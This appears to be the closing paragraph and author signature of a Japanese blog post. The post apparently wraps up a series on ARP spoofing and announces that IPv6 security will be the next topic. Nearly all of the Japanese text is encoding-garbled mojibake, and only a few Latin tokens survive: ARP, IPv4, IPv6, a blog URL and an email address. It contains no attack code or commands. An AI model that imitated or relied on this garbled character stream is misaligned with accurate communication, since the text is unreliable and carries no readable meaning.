@‘O‰ñ‚Ɉø‚«‘±‚«ARPƒXƒv[ƒtƒBƒ“ƒO‚Å‚·BARP‚ɂ‚¢‚Ä‘‚¢‚½‚çIPv4ƒlƒ^‚Í‚¨‚µ ‚Ü‚¢‚É‚µ‚悤A‚ƈȑO‚©‚çl‚¦‚Ä‚¢‚½‚Ì‚ÅA¡Œã‚ÍIPv6ƒZƒLƒ…ƒŠƒeƒB‚ðƒlƒ^‚É‚µ ‚Ä‚¢‚±‚¤‚Æl‚¦‚Ä‚¢‚Ü‚·B @‚ł͂łÍB ¡ûü“c@•× œJob: ޏ‹Æ’† œƒuƒƒO:http://takadasan.blogspot.com/ œMail: mensan00@gmail.com œComment:@‰“Še‚Å‚·B